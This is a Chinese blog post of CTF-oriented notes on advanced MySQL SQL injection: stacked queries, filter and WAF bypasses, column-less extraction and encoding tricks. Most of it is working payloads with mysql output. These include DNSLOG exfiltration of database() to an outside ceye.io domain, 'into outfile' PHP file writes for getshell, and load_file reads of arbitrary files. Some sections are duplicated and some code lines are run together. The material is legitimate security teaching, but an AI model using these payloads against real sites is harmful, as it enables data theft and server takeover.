sql注入中的其他姿势

前言

三大注入基本讲完了,作为收尾,这篇文章来记录一下注入其他知识,持续补充。

堆叠注入

解释:set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
这里我用16进制来表示user表赋值给变量a
然后预备一个名叫execsql的语句。
然后执行。而如果想要执行这么多语句,我们必须要能够多语句执行,因此这个想法也就造就了堆叠注入。堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
想了解的可以去看一个ctf题目[强网杯 2019]随便注,以前也写过https://www.cnblogs.com/wangtanzhi/p/11845760.html

DNSLOG注入

参考:

https://www.anquanke.com/post/id/98096

如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可

dnslog平台:http://ceye.io/
mysql> use security;
Database changed

mysql> select load_file('\\test.xxx.ceye.io\abc');
+-------------------------------------------+
| load_file('\\test.xxx.ceye.io\abc') |
+-------------------------------------------+
| NULL                                      |
+-------------------------------------------+
1 row in set (22.05 sec)

mysql> select load_file(concat('\\',(select database()),'.xxx.ceye.io\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\',(select database()),'.xxx.ceye.io\abc')) |
+----------------------------------------------------------------------+
| NULL                                                                 |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

UNC路径
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

sss.xxx est

这也就解释了为什么CONCAT()函数拼接了4个了,因为转义的原因,4个就变成了2个,目的就是利用UNC路径。

tips:

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

MySQL数据库的Innodb引擎的注入

在对应代码中过滤了information关键字,无法使用information_schema.tables以及information_schema.columns进行查找表和列名。
进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?

information_schema:

简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

​ 在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 
mysql默认是关闭InnoDB存储引擎的


mysql> select * from mysql.innodb_table_stats;

mysql> mysql> select * from mysql.innodb_index_stats;

mysql.innodb_table_stats where database_name=database();
+------+
| flag |
+------+
| 1    |
| flag |
+------+
2 rows in set, 1 warning (0.00 sec)

mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database();
+----------------+
| flag           |
+----------------+
| 1              |
| flag,flag,flag |
+----------------+
2 rows in set, 1 warning (0.00 sec)

sys

MySQL 5.7版中,新加入了sys schema,里面整合了各种资料库资讯
其中对我们最有用的资讯大概就是statement_analysis表中的query,里面纪录着我们执行过的SQL语句(normalize过的)和一些数据。

mysql> select query from sys.statement_analysis;
限制:
mysql ≥ 5.7版本

般要超级管理员才可以访问sys

bypass information_schema

参考链接:

https://www.anquanke.com/post/id/193512

进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?

information_schema:

简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

​ 在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

MySQL5.7的新特性:

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

mysql默认是关闭InnoDB存储引擎的

注入中在mysql默认情况下就可以替代information_schema库的方法

schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息

想通过注入获取到没有自增主键的表的数据怎么办?

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

payload:

 schema_auto_increment_columns 
 ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer 
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

获取字段名

获取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+

获取次列及后续列名

?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

限制:
mysql ≥ 5.7版本

般要超级管理员才可以访问sys

无列名注入

参考链接:
https://www.jianshu.com/p/6eba3370cfab

在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
正常查询:

使用union查询:

就可以继续使用数字来对应列,如2对应了表里面的用户名:

当  ` 不能使用的时候,使用别名来代替:

反单引号表示列名或者表名

在注入中查询多个列:

语句
一般都是:

(select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名 

((select c from (select 1,2,3 c union select * from users)b))    1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量

当通过查询得到新的table时,必须有一个别名,即每个派生出来的表都必须有一个自己的别名。

所以:

select count() from (select * from list where name="xiao") as t;
select count(
) from (select * from list where name="xiao") t;

以上两种方式中 t 都是表示派生表别名,此名必须有。t为建立的临时表,作用域为select语句。

异或注入

在and,or ,|,&&,||等符号被过滤的情况下,可以采用异或注入达到注入的目的。

mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1;
Empty set (0.00 sec)

mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1;
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

防御手段绕过

参考:

https://xz.aliyun.com/t/5505#toc-2

https://xz.aliyun.com/t/7169#toc-11

改用盲注

union select 逗号被过滤掉

利用join注入,payload如下

mysql> select * from ctf_test where user='2' union select * from (select 1)a join (select 2)b;
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
| 1    | 2            |
+------+--------------+
2 rows in set (0.00 sec)

功能函数逗号被过滤

利用from...for...进行绕过

MID 和substr 函数用于从文本字段中提取字符

mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='r',1,0);
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='s',1,0);
Empty set (0.00 sec)

limit中逗号被过滤

利用limit..offset进行绕过
limit 9 offset 4表示从第十行开始返回4行,返回的是10,11,12,13

mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
+------------+
| table_name |
+------------+
| admin      |
+------------+
1 row in set (0.00 sec)

mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1;
+------------+
| table_name |
+------------+
| ctf_test   |
+------------+
1 row in set (0.00 sec)

等号绕过

可以使用like、rlike、regexp 或者<>。盲注时也可以利用运算符,^、+、-等,观察返回结果与页面变化即可,举一反三灵活运用。

还有另外一种特殊的代替方法,利用locate,position,instr三种函数进行判断

mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0);
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

数字型过滤and or

mysql> select * from users where id=1/(select sleep(3));
Empty set, 17 warnings (51.06 sec)

md5注入

$sql = "SELECT * FROM admin WHERE username = admin pass ='".md5($password,true)."'";

当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or' 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。

数字型过滤and or

mysql> select * from users where id=1/(select sleep(3));
Empty set, 17 warnings (51.06 sec)

substr替换

mid,left,right,substring,lpad,rpad等函数替换

在没有列名的情况下检索数据

链接:

https://www.smi1e.top/sql注入笔记/#i-10

mysql> SELECT * FROM USERS WHERE ID =1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 123      | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> SELECT * FROM USERS WHERE ID = ((select 1,123,'Dumb') <= (select * from users limit 1));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 123      | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM USERS WHERE ID = ((select 2,123,'Dumb') <= (select * from users limit 1));
Empty set (0.00 sec)

通过小于号替换等号,可以逐字符检索出数据。不过还有一个问题——MySQL中的字符串比较在默认情况下是不区分大小写的。

将字符串转换为二进制格式后,会强制进行字节对字节的比较

mysql> select 'd'='D';
+---------+
| 'd'='D' |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)  
mysql> select BINARY('d')>BINARY('D');
+-------------------------+
| BINARY('d')>BINARY('D') |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select (select 1,123,BINARY('dumb')) <= (select * from users limit 1);
+----------------------------------------------------------------+
| (select 1,123,BINARY('dumb')) <= (select * from users limit 1) |
+----------------------------------------------------------------+
|                                                              0 |
+----------------------------------------------------------------+
1 row in set (0.01 sec)

不过BINARY中含有关键字in。
MySQL中的JSON对象是二进制对象,因此,CAST(0 AS JSON)会返回一个二进制字符串,进而SELECT CONCAT(“A”, CAST(0 AS JSON))也会返回一个二进制字符串。

CAST (expression AS data_type)
参数说明:

expression:任何有效的SQServer表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
data_type:目标系统所提供的数据类型,包括bigint和sql_variant,不能使用用户定义的数据类型。

load_file&into outfile

这两个函数在sql注入中是影响比较大的两个函数,如果能成功利用,即可getshell和读取任意文件,但作用很大,同样限制条件也很多。

into outfile
1.首先要知道网站的绝对路径(可从报错或者phpinfo()中获得)

2.拥有file权限

3.secure_file_priv限制。通过SHOW VARIABLES LIKE "secure_file_priv"查看信息

mysqld --secure_file_priv=null(不允许导入导出)

mysqld --secure_file_priv=/tmp/(导入导出只允许在/tmp目录下)

mysql --secure_file_priv=(任意导入导出)
into outfile有四种写入文件的方式

通过union注入写入文件

mysql> select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php';
Query OK, 2 rows affected, 1 warning (0.01 sec)

通过FIELDS TERMINATED BY写入文件

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;Query OK, 1 row affected, 1 warning (0.01 sec)

FIELDS TERMINATED BY为在输出数据的字段中添加FIELDS TERMINATED BY的内容,如果字段数为1,则无法进行添加,也就是说这个的限制条件是起码要有两个字段的。
通过LINES TERMINATED BY写入文件

LINES TERMINATED BY为在每个记录后都添加设定添加的内容,不受字段数的限制

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.00 sec)

通过LINES TERMINATED BY写入文件

LINES TERMINATED BY为在每个记录后都添加设定添加的内容,不受字段数的限制

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.00 sec)LINES STARTING BY写入shell

用法与LINES TERMINATED BY一样,payload如下

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.01 sec)

load_file

1.要求拥有file权限

2.知道文件所在绝对路径

3.同样受secure_file_priv限制

union注入进行load_file

效果如下:

mysql> select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php');
+----------------------+
| flag                 |
+----------------------+
| 1                    |
| <?php phpinfo();?>1
 |
+----------------------+
2 rows in set, 1 warning (0.01 sec)

利用报错注入进行load_file

测试:


mysql> select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~<?php phpinfo();?>1
~'

成功得到文件内容

利用时间盲注进行load_file

测试如下:

mysql> select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1);
Empty set, 1 warning (3.00 sec)

成功延时3s,可配合脚本得到文件内容。

利用load_file扫描文件是否存在


mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'

通过is_null函数的返回值来确定,如果是1的话代表文件不存在,如果是0的话文件存在。此方法可配合burp进行敏感文件的FUZZ。

绕过未知字段名的技巧

waf拦截了information_schema、columns、tables、database、schema等关键字或函数
前面也提过了,其实很多都相通,只不过改动了一些地方

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
..............

mysql> select `3` from (select 1,2,3 union select * from users)a limit 1,1;
+------+
| 3    |
+------+
| Dumb |
+------+
1 row in set (0.00 sec)

mysql> select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1;
+---+----------+------------+
| 1 | 2        | 3          |
+---+----------+------------+
| 2 | Angelina | I-kill-you |
+---+----------+------------+
1 row in set (0.00 sec)

如果不允许使用union

mysql> select * from users where id=1 and (select * from (select * from users as a join users as b)
as c);
ERROR 1060 (42S21): Duplicate column name 'id'

利用using爆其他字段
mysql> select * from users where id=1 and (select * from (select * from users as a join users as b 
using(id))as c);
ERROR 1060 (42S21): Duplicate column name 'username'

mysql> select * from users where id=1 and (select * from (select * from users as a join users as b
using(id,username))as c);
ERROR 1060 (42S21): Duplicate column name 'password'

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

比较符号绕过

between a and b:返回a,b之间的数据,不包含b。
greatest()、least():(前者返回最大值、后者返回最小值)
​ eg: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

​ 所以上述语句就是与64比较,当页面正常返回时说明真实的ascii码小于或等于64,继续fuzz即可。

绕过'过滤

hex编码
SELECT password FROM Users WHERE username = 0x61646D696E

char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

%2527
主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。

一个有趣的编码转换导致的注入:

再强调一下原文出处,这个文章写的太好啦:

https://xz.aliyun.com/t/7169#toc-1
gbk已经是一个老生常谈的问题,还有一个就是latin1造成的编码问题

<?php//该代码节选自:离别歌's blog$mysqli = new mysqli("localhost", "root", "root", "cat");

/* check connection */if ($mysqli->connect_errno) {
    printf("Connect failed: %s
", $mysqli->connect_error);
    exit();}

$mysqli->query("set names utf8");

$username = addslashes($_GET['username']);

//我们在其基础上添加这么一条语句。if($username === 'admin'){
    die("You can't do this.");}

/* Select queries return a resultset */$sql = "SELECT * FROM `table1` WHERE username='{$username}'";

if ($result = $mysqli->query( $sql )) {
    printf("Select returned %d rows.
", $result->num_rows);

    while ($row = $result->fetch_array(MYSQLI_ASSOC))
    {
        var_dump($row);
    }

    /* free result set */
    $result->close();} else {
    var_dump($mysqli->error);}

$mysqli->close();?>

建表语句如下:

CREATE TABLE `table1` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(255) COLLATE latin1_general_ci NOT NULL,
  `password` varchar(255) COLLATE latin1_general_ci NOT NULL,
  PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;

我们设置表的编码为latin1,事实上,就算你不填写,默认编码便是latin1。

我们往表中添加一条数据:insert table1 VALUES(1,'admin','admin');

我们对用户的输入进行了判断,若输入内容为admin,直接结束代码输出返回,并且还对输出的内容进行addslashes处理,使得我们无法逃逸出单引号。

我们注意到:$mysqli->query("set names utf8");这么一行代码,在连接到数据库之后,执行了这么一条SQL语句。

set names utf8;相当于:

mysql>SET character_set_client ='utf8';
mysql>SET character_set_results ='utf8';
mysql>SET character_set_connection ='utf8';

PHP的编码是UTF-8,而我们现在设置的也是UTF-8,怎么会产生问题呢?
SQL语句会先转成character_set_client设置的编码。但,他接下来还会继续转换。character_set_client客户端层转换完毕之后,数据将会交给character_set_connection连接层处理,最后在从character_set_connection转到数据表的内部操作字符集。

因为这一条语句,导致客户端、服务端的字符集出现了差别。既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。

来本例中,字符集的转换为:UTF-8—>UTF-8->Latin1

这里需要讲一下UTF-8编码的一些内容。
一字节时范围是[00-7F]
两字节时范围是[C0-DF][80-BF]
三字节时范围是[E0-EF][80-BF][80-BF]
四字节时范围是[F0-F7][80-BF][80-BF][80-BF]

然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:

所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4。

利用这一特性,我们输入:?username=admin%c2,%c2是一个Latin1字符集不存在的字符。

但是,这里还有一个Trick:Mysql所使用的UTF-8编码是阉割版的,仅支持三个字节的编码。所以说,Mysql中的UTF-8字符集只有最大三字节的字符,首字节范围:00-7F、C2-EF。

而对于不完整的长字节UTF-8编码的字符,若进行字符集转换时,会直接进行忽略处理。

参考

https://www.smi1e.top/sql注入笔记/#Mysql-2
https://xz.aliyun.com/t/5505#toc-2
https://www.chabug.org/web/869.html
https://xz.aliyun.com/t/7169#toc-11

原文地址:https://www.cnblogs.com/wangtanzhi/p/12594949.html